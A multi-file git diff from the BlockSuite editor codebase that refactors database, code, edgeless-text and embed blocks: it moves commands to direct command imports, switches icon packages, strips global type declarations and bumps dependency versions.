@@ -132,7 +132,7 @@ export class AffineCodeToolbar extends WithDisposable(LitElement) {
?disabled=${this.context.doc.readonly}
@click=${() => this._toggleMoreMenu()}
>
${MoreVerticalIcon}
${MoreVerticalIcon()}
</editor-icon-button>
</editor-toolbar>
`;

View File

@@ -1,7 +1,4 @@
import type * as CommandsType from '@blocksuite/affine-shared/commands';
import { CodeBlockComponent } from './code-block';
import type { CodeBlockConfig } from './code-block-config';
import {
AFFINE_CODE_TOOLBAR_WIDGET,
AffineCodeToolbarWidget,
@@ -18,15 +15,7 @@ export function effects() {
customElements.define('affine-code', CodeBlockComponent);
}
declare type _GLOBAL_ = typeof CommandsType;
declare global {
namespace BlockSuite {
interface BlockConfigs {
'affine:code': CodeBlockConfig;
}
}
interface HTMLElementTagNameMap {
'language-list-button': LanguageListButton;
'affine-code-toolbar': AffineCodeToolbar;

View File

@@ -20,12 +20,13 @@
"@blocksuite/block-std": "workspace:*",
"@blocksuite/data-view": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/icons": "^2.2.3",
"@blocksuite/inline": "workspace:*",
"@blocksuite/store": "workspace:*",
"@floating-ui/dom": "^1.6.10",
"@lit/context": "^1.1.2",
"@preact/signals-core": "^1.8.0",
"@toeverything/theme": "^1.1.7",
"@toeverything/theme": "^1.1.11",
"@types/mdast": "^4.0.4",
"lit": "^3.2.0",
"minimatch": "^10.0.1",

View File

@@ -9,11 +9,7 @@ import {
popMenu,
popupTargetFromElement,
} from '@blocksuite/affine-components/context-menu';
import {
CopyIcon,
DeleteIcon,
MoreHorizontalIcon,
} from '@blocksuite/affine-components/icons';
import { CopyIcon, DeleteIcon } from '@blocksuite/affine-components/icons';
import { PeekViewProvider } from '@blocksuite/affine-components/peek';
import { toast } from '@blocksuite/affine-components/toast';
import { NOTE_SELECTOR } from '@blocksuite/affine-shared/consts';
@@ -42,6 +38,7 @@ import {
uniMap,
} from '@blocksuite/data-view';
import { widgetPresets } from '@blocksuite/data-view/widget-presets';
import { MoreHorizontalIcon } from '@blocksuite/icons/lit';
import { Slice } from '@blocksuite/store';
import { computed, signal } from '@preact/signals-core';
import { css, nothing, unsafeCSS } from 'lit';
@@ -244,7 +241,7 @@ export class DataViewBlockComponent extends CaptionedBlockComponent<DataViewBloc
return nothing;
}
return html` <div class="database-ops" @click="${this._clickDatabaseOps}">
${MoreHorizontalIcon}
${MoreHorizontalIcon()}
</div>`;
}

View File

@@ -1,14 +1,5 @@
import { DataViewBlockComponent } from './data-view-block';
import type { DataViewBlockModel } from './data-view-model';
export function effects() {
customElements.define('affine-data-view', DataViewBlockComponent);
}
declare global {
namespace BlockSuite {
interface BlockModels {
'affine:data-view': DataViewBlockModel;
}
}
}

View File

@@ -26,7 +26,7 @@
"@floating-ui/dom": "^1.6.10",
"@lit/context": "^1.1.2",
"@preact/signals-core": "^1.8.0",
"@toeverything/theme": "^1.1.7",
"@toeverything/theme": "^1.1.11",
"@types/mdast": "^4.0.4",
"date-fns": "^4.0.0",
"lit": "^3.2.0",

View File

@@ -6,162 +6,17 @@ import {
import {
BlockHtmlAdapterExtension,
type BlockHtmlAdapterMatcher,
HastUtils,
type InlineHtmlAST,
TextUtils,
} from '@blocksuite/affine-shared/adapters';
import { nanoid } from '@blocksuite/store';
import type { Element } from 'hast';
import { processTable } from './utils';
const DATABASE_NODE_TYPES = new Set(['table', 'thead', 'tbody', 'th', 'tr']);
export const databaseBlockHtmlAdapterMatcher: BlockHtmlAdapterMatcher = {
flavour: DatabaseBlockSchema.model.flavour,
toMatch: o =>
HastUtils.isElement(o.node) && DATABASE_NODE_TYPES.has(o.node.tagName),
toMatch: () => false,
fromMatch: o => o.node.flavour === DatabaseBlockSchema.model.flavour,
toBlockSnapshot: {
enter: (o, context) => {
if (!HastUtils.isElement(o.node)) {
return;
}
const { walkerContext } = context;
if (o.node.tagName === 'table') {
const tableHeader = HastUtils.querySelector(o.node, 'thead');
if (!tableHeader) {
return;
}
const tableHeaderRow = HastUtils.querySelector(tableHeader, 'tr');
if (!tableHeaderRow) {
return;
}
// Table header row as database header row
const viewsColumns = tableHeaderRow.children.map(() => {
return {
id: nanoid(),
hide: false,
width: 180,
};
});
// Build database cells from table body rows
const cells = Object.create(null);
const tableBody = HastUtils.querySelector(o.node, 'tbody');
tableBody?.children.forEach(row => {
const rowId = nanoid();
cells[rowId] = Object.create(null);
(row as Element).children.forEach((cell, index) => {
const column = viewsColumns[index];
if (!column) {
return;
}
cells[rowId][column.id] = {
columnId: column.id,
value: TextUtils.createText(
(cell as Element).children
.map(child => ('value' in child ? child.value : ''))
.join('')
),
};
});
});
// Build database columns from table header row
const columns = tableHeaderRow.children.flatMap((_child, index) => {
const column = viewsColumns[index];
if (!column) {
return [];
}
return {
type: index === 0 ? 'title' : 'rich-text',
name: (_child as Element).children
.map(child => ('value' in child ? child.value : ''))
.join(''),
data: {},
id: column.id,
};
});
walkerContext.openNode(
{
type: 'block',
id: nanoid(),
flavour: 'affine:database',
props: {
views: [
{
id: nanoid(),
name: 'Table View',
mode: 'table',
columns: [],
filter: {
type: 'group',
op: 'and',
conditions: [],
},
header: {
titleColumn: viewsColumns[0]?.id,
iconColumn: 'type',
},
},
],
title: {
'$blocksuite:internal:text$': true,
delta: [],
},
cells,
columns,
},
children: [],
},
'children'
);
walkerContext.setNodeContext('affine:table:rowid', Object.keys(cells));
walkerContext.skipChildren(1);
}
// The first child of each table body row is the database title cell
if (o.node.tagName === 'tr') {
const { deltaConverter } = context;
const firstChild = o.node.children[0];
if (!firstChild) {
return;
}
walkerContext
.openNode({
type: 'block',
id:
(
walkerContext.getNodeContext(
'affine:table:rowid'
) as Array<string>
).shift() ?? nanoid(),
flavour: 'affine:paragraph',
props: {
text: {
'$blocksuite:internal:text$': true,
delta: deltaConverter.astToDelta(firstChild),
},
type: 'text',
},
children: [],
})
.closeNode();
walkerContext.skipAllChildren();
}
},
leave: (o, context) => {
if (!HastUtils.isElement(o.node)) {
return;
}
const { walkerContext } = context;
if (o.node.tagName === 'table') {
walkerContext.closeNode();
}
},
},
toBlockSnapshot: {},
fromBlockSnapshot: {
enter: (o, context) => {
const { walkerContext } = context;

View File

@@ -7,9 +7,7 @@ import {
BlockMarkdownAdapterExtension,
type BlockMarkdownAdapterMatcher,
type MarkdownAST,
TextUtils,
} from '@blocksuite/affine-shared/adapters';
import { nanoid } from '@blocksuite/store';
import type { TableRow } from 'mdast';
import { processTable } from './utils';
@@ -24,123 +22,7 @@ export const databaseBlockMarkdownAdapterMatcher: BlockMarkdownAdapterMatcher =
flavour: DatabaseBlockSchema.model.flavour,
toMatch: o => isDatabaseNode(o.node),
fromMatch: o => o.node.flavour === DatabaseBlockSchema.model.flavour,
toBlockSnapshot: {
enter: (o, context) => {
const { walkerContext } = context;
if (o.node.type === 'table') {
const viewsColumns = o.node.children[0]?.children.map(() => {
return {
id: nanoid(),
hide: false,
width: 180,
};
});
const cells = Object.create(null);
o.node.children.slice(1).forEach(row => {
const rowId = nanoid();
cells[rowId] = Object.create(null);
row.children.slice(1).forEach((cell, index) => {
const column = viewsColumns?.[index + 1];
if (!column) {
return;
}
cells[rowId][column.id] = {
columnId: column.id,
value: TextUtils.createText(
cell.children
.map(child => ('value' in child ? child.value : ''))
.join('')
),
};
});
});
const columns = o.node.children[0]?.children.map((_child, index) => {
return {
type: index === 0 ? 'title' : 'rich-text',
name: _child.children
.map(child => ('value' in child ? child.value : ''))
.join(''),
data: {},
id: viewsColumns?.[index]?.id,
};
});
walkerContext.openNode(
{
type: 'block',
id: nanoid(),
flavour: 'affine:database',
props: {
views: [
{
id: nanoid(),
name: 'Table View',
mode: 'table',
columns: [],
filter: {
type: 'group',
op: 'and',
conditions: [],
},
header: {
titleColumn: viewsColumns?.[0]?.id,
iconColumn: 'type',
},
},
],
title: {
'$blocksuite:internal:text$': true,
delta: [],
},
cells,
columns,
},
children: [],
},
'children'
);
walkerContext.setNodeContext(
'affine:table:rowid',
Object.keys(cells)
);
walkerContext.skipChildren(1);
}
if (o.node.type === 'tableRow') {
const { deltaConverter } = context;
const firstChild = o.node.children[0];
if (!firstChild) {
return;
}
walkerContext
.openNode({
type: 'block',
id:
(
walkerContext.getNodeContext(
'affine:table:rowid'
) as Array<string>
).shift() ?? nanoid(),
flavour: 'affine:paragraph',
props: {
text: {
'$blocksuite:internal:text$': true,
delta: deltaConverter.astToDelta(firstChild),
},
type: 'text',
},
children: [],
})
.closeNode();
walkerContext.skipAllChildren();
}
},
leave: (o, context) => {
const { walkerContext } = context;
if (o.node.type === 'table') {
walkerContext.closeNode();
}
},
},
toBlockSnapshot: {},
fromBlockSnapshot: {
enter: (o, context) => {
const { walkerContext, deltaConverter } = context;

View File

@@ -1,9 +1,9 @@
import { DatabaseBlockSchema } from '@blocksuite/affine-model';
import {
AdapterTextUtils,
BlockNotionHtmlAdapterExtension,
type BlockNotionHtmlAdapterMatcher,
HastUtils,
TextUtils,
} from '@blocksuite/affine-shared/adapters';
import { getTagColor } from '@blocksuite/data-view';
import { type BlockSnapshot, nanoid } from '@blocksuite/store';
@@ -219,7 +219,7 @@ export const databaseBlockNotionHtmlAdapterMatcher: BlockNotionHtmlAdapterMatche
column.type = 'rich-text';
row[column.id] = {
columnId: column.id,
value: TextUtils.createText(text),
value: AdapterTextUtils.createText(text),
};
} else {
row[column.id] = {
@@ -235,11 +235,11 @@ export const databaseBlockNotionHtmlAdapterMatcher: BlockNotionHtmlAdapterMatche
}
if (
column.type === 'rich-text' &&
!TextUtils.isText(row[column.id].value)
!AdapterTextUtils.isText(row[column.id].value)
) {
row[column.id] = {
columnId: column.id,
value: TextUtils.createText(row[column.id].value),
value: AdapterTextUtils.createText(row[column.id].value),
};
}
});

View File

@@ -1,5 +1,5 @@
import type { DatabaseBlockModel } from '@blocksuite/affine-model';
import type { BlockCommands, Command } from '@blocksuite/block-std';
import type { Command } from '@blocksuite/block-std';
import type { BlockModel, Store } from '@blocksuite/store';
import {
@@ -8,12 +8,14 @@ import {
} from './data-source';
export const insertDatabaseBlockCommand: Command<
'selectedModels',
'insertedDatabaseBlockId',
{
selectedModels?: BlockModel[];
viewType: string;
place?: 'after' | 'before';
removeEmptyLine?: boolean;
},
{
insertedDatabaseBlockId: string;
}
> = (ctx, next) => {
const { selectedModels, viewType, place, removeEmptyLine, std } = ctx;
@@ -65,7 +67,3 @@ export const initDatabaseBlock = (
doc.addBlock('affine:paragraph', {}, parent.id);
}
};
export const commands: BlockCommands = {
insertDatabaseBlock: insertDatabaseBlockCommand,
};

View File

@@ -1,6 +1,10 @@
import type { MenuOptions } from '@blocksuite/affine-components/context-menu';
import { type DatabaseBlockModel } from '@blocksuite/affine-model';
import { ConfigExtensionFactory } from '@blocksuite/block-std';
export interface DatabaseOptionsConfig {
configure: (model: DatabaseBlockModel, options: MenuOptions) => MenuOptions;
}
export const DatabaseConfigExtension =
ConfigExtensionFactory<DatabaseOptionsConfig>('affine:database');

View File

@@ -3,6 +3,7 @@ import type {
ColumnUpdater,
DatabaseBlockModel,
} from '@blocksuite/affine-model';
import { getSelectedModelsCommand } from '@blocksuite/affine-shared/commands';
import { FeatureFlagService } from '@blocksuite/affine-shared/services';
import {
insertPositionToIndex,
@@ -33,8 +34,6 @@ import {
} from './properties/index.js';
import {
addProperty,
applyCellsUpdate,
applyPropertyUpdate,
copyCellsByProperty,
deleteRows,
deleteView,
@@ -168,7 +167,6 @@ export class DatabaseBlockDataSource extends DataSourceBase {
columnId: propertyId,
value: newValue,
});
applyCellsUpdate(this._model);
}
}
@@ -198,7 +196,6 @@ export class DatabaseBlockDataSource extends DataSourceBase {
insertToPosition,
property.create(this.newPropertyName())
);
applyPropertyUpdate(this._model);
return result;
}
@@ -282,7 +279,6 @@ export class DatabaseBlockDataSource extends DataSourceBase {
propertyDataSet(propertyId: string, data: Record<string, unknown>): void {
this._runCapture();
this.updateProperty(propertyId, () => ({ data }));
applyPropertyUpdate(this._model);
}
propertyDataTypeGet(propertyId: string): TypeInstance | undefined {
@@ -336,7 +332,6 @@ export class DatabaseBlockDataSource extends DataSourceBase {
schema
);
copyCellsByProperty(this._model, copyId, id);
applyPropertyUpdate(this._model);
return id;
}
@@ -365,7 +360,6 @@ export class DatabaseBlockDataSource extends DataSourceBase {
propertyNameSet(propertyId: string, name: string): void {
this.doc.captureSync();
this.updateProperty(propertyId, () => ({ name }));
applyPropertyUpdate(this._model);
}
override propertyReadonlyGet(propertyId: string): boolean {
@@ -420,7 +414,6 @@ export class DatabaseBlockDataSource extends DataSourceBase {
}
});
updateCells(this._model, propertyId, cells);
applyPropertyUpdate(this._model);
}
rowAdd(insertPosition: InsertToPosition | number): string {
@@ -517,12 +510,9 @@ export const databaseViewInitTemplate = (
datasource.viewManager.viewAdd(viewType);
};
export const convertToDatabase = (host: EditorHost, viewType: string) => {
const [_, ctx] = host.std.command
.chain()
.getSelectedModels({
types: ['block', 'text'],
})
.run();
const [_, ctx] = host.std.command.exec(getSelectedModelsCommand, {
types: ['block', 'text'],
});
const { selectedModels } = ctx;
const firstModel = selectedModels?.[0];
if (!firstModel) return;

View File

@@ -4,7 +4,7 @@ import {
popMenu,
popupTargetFromElement,
} from '@blocksuite/affine-components/context-menu';
import { DragIndicator } from '@blocksuite/affine-components/drag-indicator';
import { DropIndicator } from '@blocksuite/affine-components/drop-indicator';
import { PeekViewProvider } from '@blocksuite/affine-components/peek';
import { toast } from '@blocksuite/affine-components/toast';
import type { DatabaseBlockModel } from '@blocksuite/affine-model';
@@ -48,7 +48,10 @@ import { computed, signal } from '@preact/signals-core';
import { css, html, nothing, unsafeCSS } from 'lit';
import { popSideDetail } from './components/layout.js';
import type { DatabaseOptionsConfig } from './config.js';
import {
DatabaseConfigExtension,
type DatabaseOptionsConfig,
} from './config.js';
import { HostContextKey } from './context/host-context.js';
import { DatabaseBlockDataSource } from './data-source.js';
import { BlockRenderer } from './detail-panel/block-renderer.js';
@@ -241,7 +244,7 @@ export class DatabaseBlockComponent extends CaptionedBlockComponent<DatabaseBloc
}
);
indicator = new DragIndicator();
indicator = new DropIndicator();
onDrag = (evt: MouseEvent, id: string): (() => void) => {
const result = getDropResult(evt);
@@ -334,11 +337,6 @@ export class DatabaseBlockComponent extends CaptionedBlockComponent<DatabaseBloc
this._dataSource.contextSet(HostContextKey, this.host);
const id = currentViewStorage.getCurrentView(this.model.id);
if (id && this.dataSource.viewManager.viewGet(id)) {
console.log(
'set current view',
id,
this._dataSource.viewManager.viewGet(id)
);
this.dataSource.viewManager.setCurrentView(id);
}
}
@@ -348,7 +346,7 @@ export class DatabaseBlockComponent extends CaptionedBlockComponent<DatabaseBloc
get optionsConfig(): DatabaseOptionsConfig {
return {
configure: (_model, options) => options,
...this.std.getConfig('affine:database'),
...this.std.getOptional(DatabaseConfigExtension.identifier),
};
}

View File

@@ -0,0 +1,58 @@
import type { DatabaseBlockModel } from '@blocksuite/affine-model';
import { unsafeCSSVarV2 } from '@blocksuite/affine-shared/theme';
import { BlockComponent } from '@blocksuite/block-std';
import { DatabaseListViewIcon } from '@blocksuite/icons/lit';
import { css, html } from 'lit';
export class DatabaseDndPreviewBlockComponent extends BlockComponent<DatabaseBlockModel> {
static override styles = css`
.affine-database-preview-container {
display: flex;
flex-direction: column;
align-items: flex-start;
padding: 4px;
box-sizing: border-box;
border-radius: 8px;
background-color: ${unsafeCSSVarV2(
'layer/background/overlayPanel',
'#FBFBFC'
)};
}
.database-preview-content {
padding: 4px 16px;
display: flex;
gap: 8px;
}
.database-preview-content > svg {
color: ${unsafeCSSVarV2('icon/primary', '#77757D')};
}
.database-preview-content > .text {
color: var(--affine-text-primary-color);
color: ${unsafeCSSVarV2('text/primary', '#121212')};
font-size: 14px;
line-height: 24px;
}
`;
override renderBlock() {
return html`<div
class="affine-database-preview-container"
contenteditable="false"
>
<div class="database-preview-content">
${DatabaseListViewIcon({ width: '24px', height: '24px' })}
<span class="text">Database Block</span>
</div>
</div>`;
}
}
declare global {
interface HTMLElementTagNameMap {
'affine-dnd-preview-database': DatabaseDndPreviewBlockComponent;
}
}

View File

@@ -1,17 +1,11 @@
import {
BlockViewExtension,
CommandExtension,
FlavourExtension,
} from '@blocksuite/block-std';
import { BlockViewExtension, FlavourExtension } from '@blocksuite/block-std';
import type { ExtensionType } from '@blocksuite/store';
import { literal } from 'lit/static-html.js';
import { DatabaseBlockAdapterExtensions } from './adapters/extension.js';
import { commands } from './commands.js';
export const DatabaseBlockSpec: ExtensionType[] = [
FlavourExtension('affine:database'),
CommandExtension(commands),
BlockViewExtension('affine:database', literal`affine-database`),
DatabaseBlockAdapterExtensions,
].flat();

View File

@@ -76,10 +76,6 @@ export class BlockRenderer
return this.host?.doc.getBlock(this.rowId)?.model;
}
get service() {
return this.host.std.getService('affine:database');
}
override connectedCallback() {
super.connectedCallback();
if (this.model && this.model.text) {
@@ -131,7 +127,7 @@ export class BlockRenderer
.attributesSchema=${this.attributesSchema}
.attributeRenderer=${this.attributeRenderer}
.embedChecker=${this.inlineManager.embedChecker}
.markdownShortcutHandler=${this.inlineManager.markdownShortcutHandler}
.markdownMatches=${this.inlineManager.markdownMatches}
class="inline-editor"
></rich-text>
`;

View File

@@ -1,14 +1,14 @@
import type {
DatabaseBlockModel,
RootBlockModel,
import {
CodeBlockModel,
type DatabaseBlockModel,
ListBlockModel,
ParagraphBlockModel,
type RootBlockModel,
} from '@blocksuite/affine-model';
import { REFERENCE_NODE } from '@blocksuite/affine-shared/consts';
import { TelemetryProvider } from '@blocksuite/affine-shared/services';
import type { AffineTextAttributes } from '@blocksuite/affine-shared/types';
import {
createDefaultDoc,
matchFlavours,
} from '@blocksuite/affine-shared/utils';
import { createDefaultDoc, matchModels } from '@blocksuite/affine-shared/utils';
import { type EditorHost, ShadowlessElement } from '@blocksuite/block-std';
import type { DetailSlotProps, SingleView } from '@blocksuite/data-view';
import { SignalWatcher, WithDisposable } from '@blocksuite/global/utils';
@@ -72,10 +72,10 @@ export class NoteRenderer
note.root.children
.find(child => child.flavour === 'affine:note')
?.children.find(block =>
matchFlavours(block, [
'affine:paragraph',
'affine:list',
'affine:code',
matchModels(block, [
ParagraphBlockModel,
ListBlockModel,
CodeBlockModel,
])
);
}

View File

@@ -1,8 +1,7 @@
import type { insertDatabaseBlockCommand } from './commands';
import { CenterPeek } from './components/layout';
import { DatabaseTitle } from './components/title';
import type { DatabaseOptionsConfig } from './config';
import { DatabaseBlockComponent } from './database-block';
import { DatabaseDndPreviewBlockComponent } from './database-dnd-preview-block';
import { BlockRenderer } from './detail-panel/block-renderer';
import { NoteRenderer } from './detail-panel/note-renderer';
import { LinkCell, LinkCellEditing } from './properties/link/cell-renderer';
@@ -37,27 +36,9 @@ export function effects() {
customElements.define('database-datasource-block-renderer', BlockRenderer);
customElements.define('affine-database-link-node', LinkNode);
customElements.define('affine-database', DatabaseBlockComponent);
}
declare global {
namespace BlockSuite {
interface BlockConfigs {
'affine:database': Partial<DatabaseOptionsConfig>;
}
interface CommandContext {
insertedDatabaseBlockId?: string;
}
interface Commands {
/**
* insert a database block after or before the current block selection
* @param latex the LaTeX content. A input dialog will be shown if not provided
* @param removeEmptyLine remove the current block if it is empty
* @param place where to insert the LaTeX block
* @returns the id of the inserted LaTeX block
*/
insertDatabaseBlock: typeof insertDatabaseBlockCommand;
}
}
customElements.define(
'affine-dnd-preview-database',
DatabaseDndPreviewBlockComponent
);
}

View File

@@ -1,9 +1,6 @@
import type * as CommandType from '@blocksuite/affine-shared/commands';
declare type _GLOBAL_ = typeof CommandType;
export * from './adapters';
export type { DatabaseOptionsConfig } from './config';
export * from './commands';
export * from './config';
export * from './data-source';
export * from './database-block';
export * from './database-spec';

View File

@@ -221,7 +221,7 @@ export class RichTextCell extends BaseRichTextCell {
.attributesSchema=${this.attributesSchema}
.attributeRenderer=${this.attributeRenderer}
.embedChecker=${this.inlineManager?.embedChecker}
.markdownShortcutHandler=${this.inlineManager?.markdownShortcutHandler}
.markdownMatches=${this.inlineManager?.markdownMatches}
.readonly=${true}
class="affine-database-rich-text inline-editor"
></rich-text>`
@@ -518,12 +518,14 @@ export class RichTextCellEditing extends BaseRichTextCell {
override render() {
return html`<rich-text
data-disable-ask-ai
data-not-block-text
.yText=${this.value}
.inlineEventSource=${this.topContenteditableElement}
.attributesSchema=${this.attributesSchema}
.attributeRenderer=${this.attributeRenderer}
.embedChecker=${this.inlineManager?.embedChecker}
.markdownShortcutHandler=${this.inlineManager?.markdownShortcutHandler}
.markdownMatches=${this.inlineManager?.markdownMatches}
.verticalScrollContainerGetter=${() =>
this.topContenteditableElement?.host
? getViewportElement(this.topContenteditableElement.host)

View File

@@ -123,10 +123,6 @@ abstract class BaseTextCell extends BaseCellRenderer<Text> {
return this.host?.std.get(DefaultInlineManagerExtension.identifier);
}
get service() {
return this.host?.std.getService('affine:database');
}
get topContenteditableElement() {
const databaseBlock =
this.closest<DatabaseBlockComponent>('affine-database');
@@ -191,7 +187,7 @@ export class HeaderAreaTextCell extends BaseTextCell {
.attributesSchema="${this.attributesSchema}"
.attributeRenderer="${this.attributeRenderer}"
.embedChecker="${this.inlineManager?.embedChecker}"
.markdownShortcutHandler="${this.inlineManager?.markdownShortcutHandler}"
.markdownMatches="${this.inlineManager?.markdownMatches}"
.readonly="${true}"
class="data-view-header-area-rich-text"
></rich-text>`;
@@ -388,12 +384,14 @@ export class HeaderAreaTextCellEditing extends BaseTextCell {
override renderBlockText() {
return html` <rich-text
data-disable-ask-ai
data-not-block-text
.yText="${this.value}"
.inlineEventSource="${this.topContenteditableElement}"
.attributesSchema="${this.attributesSchema}"
.attributeRenderer="${this.attributeRenderer}"
.embedChecker="${this.inlineManager?.embedChecker}"
.markdownShortcutHandler="${this.inlineManager?.markdownShortcutHandler}"
.markdownMatches="${this.inlineManager?.markdownMatches}"
.readonly="${this.readonly}"
.enableClipboard="${false}"
.verticalScrollContainerGetter="${() =>
@@ -407,6 +405,8 @@ export class HeaderAreaTextCellEditing extends BaseTextCell {
override renderLinkedDoc(): TemplateResult {
return html` <rich-text
data-disable-ask-ai
data-not-block-text
.yText="${this.linkedDocTitle$.value}"
.inlineEventSource="${this.topContenteditableElement}"
.readonly="${this.readonly}"

View File

@@ -65,12 +65,4 @@ export class DatabaseSelection extends BaseSelection {
}
}
declare global {
namespace BlockSuite {
interface Selection {
database: typeof DatabaseSelection;
}
}
}
export const DatabaseSelectionExtension = SelectionExtension(DatabaseSelection);

View File

@@ -37,24 +37,6 @@ export function addProperty(
return id;
}
export function applyCellsUpdate(model: DatabaseBlockModel) {
model.doc.updateBlock(model, {
cells: model.cells,
});
}
export function applyPropertyUpdate(model: DatabaseBlockModel) {
model.doc.updateBlock(model, {
columns: model.columns,
});
}
export function applyViewsUpdate(model: DatabaseBlockModel) {
model.doc.updateBlock(model, {
views: model.views,
});
}
export function copyCellsByProperty(
model: DatabaseBlockModel,
fromId: Column['id'],
@@ -156,7 +138,6 @@ export function moveViewTo(
arr => insertPositionToIndex(position, arr)
);
});
applyViewsUpdate(model);
}
export function updateCell(
@@ -255,6 +236,5 @@ export const updateView = <ViewData extends ViewBasicDataType>(
return { ...v, ...update(v as ViewData) };
});
});
applyViewsUpdate(model);
};
export const DATABASE_CONVERT_WHITE_LIST = ['affine:list', 'affine:paragraph'];

View File

@@ -23,7 +23,7 @@
"@floating-ui/dom": "^1.6.10",
"@lit/context": "^1.1.2",
"@preact/signals-core": "^1.8.0",
"@toeverything/theme": "^1.1.7",
"@toeverything/theme": "^1.1.11",
"@types/mdast": "^4.0.4",
"lit": "^3.2.0",
"minimatch": "^10.0.1",

View File

@@ -25,7 +25,7 @@
"@floating-ui/dom": "^1.6.10",
"@lit/context": "^1.1.2",
"@preact/signals-core": "^1.8.0",
"@toeverything/theme": "^1.1.7",
"@toeverything/theme": "^1.1.11",
"lit": "^3.2.0",
"minimatch": "^10.0.1",
"zod": "^3.23.8"

View File

@@ -1,7 +1 @@
import type { BlockCommands } from '@blocksuite/block-std';
import { insertEdgelessTextCommand } from './insert-edgeless-text.js';
export const commands: BlockCommands = {
insertEdgelessText: insertEdgelessTextCommand,
};
export { insertEdgelessTextCommand } from './insert-edgeless-text.js';

View File

@@ -14,11 +14,12 @@ import {
} from '../edgeless-text-block.js';
export const insertEdgelessTextCommand: Command<
never,
'textId',
{
x: number;
y: number;
},
{
textId: string;
}
> = (ctx, next) => {
const { std, x, y } = ctx;

View File

@@ -1,7 +1,12 @@
import { TextUtils } from '@blocksuite/affine-block-surface';
import type { EdgelessTextBlockModel } from '@blocksuite/affine-model';
import { formatBlockCommand } from '@blocksuite/affine-components/rich-text';
import {
type EdgelessTextBlockModel,
ListBlockModel,
ParagraphBlockModel,
} from '@blocksuite/affine-model';
import { ThemeProvider } from '@blocksuite/affine-shared/services';
import { matchFlavours } from '@blocksuite/affine-shared/utils';
import { matchModels } from '@blocksuite/affine-shared/utils';
import type { BlockComponent } from '@blocksuite/block-std';
import {
BlockSelection,
@@ -98,21 +103,21 @@ export class EdgelessTextBlockComponent extends GfxBlockComponent<EdgelessTextBl
);
if (key === 'fontStyle') {
command.exec('formatBlock', {
command.exec(formatBlockCommand, {
blockSelections,
styles: {
italic: null,
},
});
} else if (key === 'color') {
command.exec('formatBlock', {
command.exec(formatBlockCommand, {
blockSelections,
styles: {
color: null,
},
});
} else if (key === 'fontWeight') {
command.exec('formatBlock', {
command.exec(formatBlockCommand, {
blockSelections,
styles: {
bold: null,
@@ -157,7 +162,7 @@ export class EdgelessTextBlockComponent extends GfxBlockComponent<EdgelessTextBl
const firstChild = this.model.firstChild();
if (
!firstChild ||
!matchFlavours(firstChild, ['affine:list', 'affine:paragraph'])
!matchModels(firstChild, [ListBlockModel, ParagraphBlockModel])
) {
newParagraphId = this.doc.addBlock(
'affine:paragraph',
@@ -170,7 +175,7 @@ export class EdgelessTextBlockComponent extends GfxBlockComponent<EdgelessTextBl
const lastChild = this.model.lastChild();
if (
!lastChild ||
!matchFlavours(lastChild, ['affine:list', 'affine:paragraph'])
!matchModels(lastChild, [ListBlockModel, ParagraphBlockModel])
) {
newParagraphId = this.doc.addBlock(
'affine:paragraph',
@@ -263,6 +268,7 @@ export class EdgelessTextBlockComponent extends GfxBlockComponent<EdgelessTextBl
boxShadow: editing ? '0px 0px 0px 2px rgba(30, 150, 235, 0.3)' : 'none',
fontWeight: '400',
lineHeight: 'var(--affine-line-height)',
minWidth: !hasMaxWidth ? '220px' : undefined,
};
return html`

View File

@@ -1,10 +1,7 @@
import { BlockViewExtension, CommandExtension } from '@blocksuite/block-std';
import { BlockViewExtension } from '@blocksuite/block-std';
import type { ExtensionType } from '@blocksuite/store';
import { literal } from 'lit/static-html.js';
import { commands } from './commands/index.js';
export const EdgelessTextBlockSpec: ExtensionType[] = [
CommandExtension(commands),
BlockViewExtension('affine:edgeless-text', literal`affine-edgeless-text`),
];

View File

@@ -1,17 +1,5 @@
import type { insertEdgelessTextCommand } from './commands/insert-edgeless-text';
import { EdgelessTextBlockComponent } from './edgeless-text-block';
export function effects() {
customElements.define('affine-edgeless-text', EdgelessTextBlockComponent);
}
declare global {
namespace BlockSuite {
interface CommandContext {
textId?: string;
}
interface Commands {
insertEdgelessText: typeof insertEdgelessTextCommand;
}
}
}

View File

@@ -1,6 +1,3 @@
import type * as CommandType from '@blocksuite/affine-shared/commands';
declare type _GLOBAL_ = typeof CommandType;
export * from './commands';
export * from './edgeless-text-block.js';
export * from './edgeless-text-spec.js';

View File

@@ -25,14 +25,14 @@
"@floating-ui/dom": "^1.6.10",
"@lit/context": "^1.1.2",
"@preact/signals-core": "^1.8.0",
"@toeverything/theme": "^1.1.7",
"@toeverything/theme": "^1.1.11",
"lit": "^3.2.0",
"minimatch": "^10.0.1",
"yjs": "^13.6.21",
"zod": "^3.23.8"
},
"devDependencies": {
"vitest": "3.0.2"
"vitest": "3.0.6"
},
"exports": {
".": "./src/index.ts",

View File

@@ -9,13 +9,14 @@ import {
EMBED_CARD_WIDTH,
} from '@blocksuite/affine-shared/consts';
import { DocModeProvider } from '@blocksuite/affine-shared/services';
import { BlockSelection, type BlockService } from '@blocksuite/block-std';
import type { BlockService } from '@blocksuite/block-std';
import type { GfxCompatibleProps } from '@blocksuite/block-std/gfx';
import type { BlockModel } from '@blocksuite/store';
import { computed, type ReadonlySignal } from '@preact/signals-core';
import type { TemplateResult } from 'lit';
import { html } from 'lit';
import { query } from 'lit/decorators.js';
import { classMap } from 'lit/directives/class-map.js';
import { type ClassInfo, classMap } from 'lit/directives/class-map.js';
import { type StyleInfo, styleMap } from 'lit/directives/style-map.js';
export class EmbedBlockComponent<
@@ -23,6 +24,12 @@ export class EmbedBlockComponent<
Service extends BlockService = BlockService,
WidgetName extends string = string,
> extends CaptionedBlockComponent<Model, Service, WidgetName> {
selectedStyle$: ReadonlySignal<ClassInfo> | null = computed<ClassInfo>(
() => ({
'selected-style': this.selected$.value,
})
);
private _fetchAbortController = new AbortController();
_cardStyle: EmbedCardStyle = 'horizontal';
@@ -50,19 +57,17 @@ export class EmbedBlockComponent<
) {
this.style.display = 'block';
const mode = this.std.get(DocModeProvider).getEditorMode();
if (mode === 'edgeless') {
if (this.std.get(DocModeProvider).getEditorMode() === 'edgeless') {
this.style.minWidth = `${EMBED_CARD_MIN_WIDTH}px`;
}
}
const selected = !!this.selected?.is(BlockSelection);
return html`
<div
draggable="${this.blockDraggable ? 'true' : 'false'}"
class=${classMap({
'embed-block-container': true,
'selected-style': selected,
...this.selectedStyle$?.value,
})}
style=${styleMap({
height: `${this._cardHeight}px`,

View File

@@ -1,12 +1,15 @@
import { getSurfaceBlock } from '@blocksuite/affine-block-surface';
import {
type DocMode,
type ImageBlockModel,
